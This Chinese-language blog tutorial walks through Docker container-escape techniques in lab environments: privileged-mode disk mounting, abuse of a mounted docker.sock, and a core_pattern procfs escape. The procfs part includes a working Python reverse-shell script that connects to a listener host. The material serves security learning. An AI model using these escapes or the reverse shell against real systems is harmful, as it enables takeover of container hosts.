当前位置: 首页 > news >正文

云原生-docker逃逸


➢特权模式
➢危险挂载逃逸


文章参考:
https://wiki.teamssix.com/CloudNative/

一.docker—特权模式逃逸

原理:
用户在启动镜像使,赋予了镜像root特权启动,导致容器里面的用户可以执行危险指令,例如通过将本地主机的盘挂载到容器里面,从而实现逃逸

启动靶场

dockerrun--rm--privileged=true-italpine


默认会直接进入容器,如果没有则使用命令进入
查看容器编号

dockerps

进入容器

dockerexec-it编号 /bin/sh

检测是否是docker环境:

cat/proc/1/cgroup|grep-qidocker&&echo"Is Docker"||echo"Not Docker"或者直接根目录执行ls -alh,出现.docekrenv说明是docker

判断是否是特权:

cat/proc/self/status|grepCapEff

如果是00000001fffffffff说明是特权

查看目录:

fdisk-l


可知当前我们处于sda1盘

实现特权逃逸

将sda3盘挂载到/test文件夹

mkdir/test2&&mount/dev/sda3 /test2

判断结果:

cd/test/&&ls

成功逃逸到主机

二.docker—危险挂载逃逸

1、挂载Docker Socket逃逸

原理:
docker socket是什么?
Docker daemon 通过一个 Unix socket 提供 API:

/var/run/docker.sock

docker cli实际上是通过调用这个api实现控制docker的
例如docker run,docker ps,都是通过socket 发送http请求

所以当用户将/var/run/docker.sock挂载进docker时,攻击者只要在docker里面再安装docker调用该api就可以实现将本地主机挂载到新的docker容器

启动靶场:

dockerrun-itd--namewith_docker_sock-v/var/run/docker.sock:/var/run/docker.sock ubuntu

进入环境:

dockerexec-itwith_docker_sock /bin/bash

检测环境:

ls-lah/var/run/docker.sock

挂载逃逸
更新apt源并安装curl

apt-getupdateapt-getinstallcurl

一键安装docker

curl-fsSLhttps://get.docker.com/|sh

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部

dockerrun-it-v/:/host ubuntu /bin/bashchroot/host

可能会报错类似
Error response from daemon: client version 1.54 is too new. Maximum supported API version is 1.39
是由于客户端太新,而服务端太旧,所以docker无法调用。
解决指令:手动指定 API 版本export DOCKER_API_VERSION=1.39
成功将主机在容器里面的新容器挂载:

2、挂载宿主机procfs逃逸

原理:
本质:利用Linux 的/proc虚拟文件系统获取或修改宿主机进程信息,从而进入宿主机的namespace
/proc记录的是内核和进程信息

如果容器可以访问宿主机的/proc,就可能:

  1. 找到宿主机进程
  2. 进入该进程的namespace
  3. 获得宿主机root

文章推荐
https://github.com/Metarget/metarget/tree/master/writeups_cnv/mount-host-procfs

启动环境:

dockerrun-it-v/proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

检测环境:

find/-namecore_pattern

查找路径:
将输出的id号复制

(workdir)cat/proc/mounts|grepdocker

替换这里的id号

/var/lib/docker/overlay2/32d054bc957db346520de8c8cef1565c264f702034b184140546e5c33997da91/merged

构造文件

echo-e"|/var/lib/docker/overlay2/3c89403d33bef696784f67e1d546d97a6a49178d2323caa804a7e647793558a2/merged/tmp/.x.py\rcore ">/host/proc/sys/kernel/core_pattern

写入反弹文件:
替换lhost和lport为自己的主机

cat>/tmp/.x.py<<EOF #!/usr/bin/python import os import pty import socket lhost = "10.22.167.164" lport = 4444 def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((lhost,lport))os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) os.putenv("HISTFILE", '/dev/null') pty.spawn("/bin/bash") os.remove('/tmp/.x.py') s.close() if __name__ == "__main__": main() EOF

启动监听:

nc-lvvp4444

赋予可执行权限

chmod+x /tmp/.x.py

创建触发错误的程序

cat>/tmp/x.c<<EOF #include <stdio.h> int main(void) { int *a = NULL; *a = 1; return 0; } EOF

编译
如果docker中没有可以自己编译后上传上去

gcc /tmp/x.c-ox

执行文件:

./x


模拟真实场景:

1、高权限-Web入口到Docker逃逸(Java)

dockerrun--rm--privileged=true-it-p8888:8080 vulfocus/shiro-721

2、低权限-Web入口到Docker逃逸(PHP)

dockerrun--rm--privileged=true-it-p8080:80 sagikazarmark/dvwa

免责声明
本文所述漏洞复现过程仅用于安全研究与教育目的,旨在提升对软件安全风险的认知与防御能力。所有操作均应在合法授权的隔离实验环境中进行,严禁用于任何未授权的系统渗透、攻击或非法活动。作者及发布方不对因误用、滥用本文内容而导致的任何直接或间接损失承担责任。用户须自行承担使用风险,并严格遵守《中华人民共和国网络安全法》及相关法律法规。

http://www.jsqmd.com/news/470363/

相关文章:

  • 基于SpringBoot+Vue的学校网络运维系统毕设项目(完整源码+论文+部署)
  • TMC2660C 寄存器功能位详解--开发笔记
  • 推理框架极简入门与实战指南(非常详细),Nano-vLLM从入门到精通,收藏这一篇就够了!
  • Flutter 三方库 xflutter_cli 的鸿蒙化适配指南 - 让架构开发快如闪电,打造鸿蒙应用专家级的模式发生器
  • 终端指令汇总
  • 2026 AI 工具排行榜:ChatGPT、DeepSeek、Claude、Gemini 谁更强?
  • 【JDBC】面向对象的思路编写JDBC程序
  • PostGIS实现栅格数据基本信息读取【ST_Rotation】等4个函数(二)
  • 【最新版本】OpenClaw(小龙虾) 完整安装指南!含Skills使用教程!
  • 卸载node,npm,homebrew
  • AI Agent记忆构建深度指南(非常详细),Selfware协议从入门到精通,收藏这一篇就够了!
  • OpenClaw 腾讯云 + 火山方舟(Volcengine Ark)完整安装与扩展教程
  • 设计环境,而非编写代码:我们为智能体构建可信任的“角斗场”
  • Spring Initializer 与 Spring Boot
  • 毕业设计环境配置总流程
  • Agent Skills:重构AI智能体的能力编排范式
  • 六大手机系统谁最懂你?ToDesk加持轻松互通
  • 江苏有哪些BOM解决方案服务商|企业选型全指南 - 冠顶工业设备
  • 动态代理的使用场景与适用时机
  • 2026大专电子商务专业考什么证书比较合适?
  • Harmonyos应用实例77. 小数的加法和减法:模拟收银机
  • 演进之路——从Toolformer到Agent生态
  • Harmonyos应用实例78. 平均数:数据调查活动
  • C4D云渲染干货教程,2026年不废话,专门解决C4D渲染太卡、太慢、渲染崩溃等情况
  • Windows系统安装Miniconda 步骤
  • Harmonyos应用实例79. 条形统计图:动态生成器
  • 马术运动员庞钦宇出席上海APM活动,帅气吸睛全力以赴备战亚运
  • C#/.NET/.NET Core优秀项目和框架年月简报
  • **德系车内部改装方案2026指南,打造个性化豪华座舱体验**
  • 数仓入门篇-维度模型与第三范式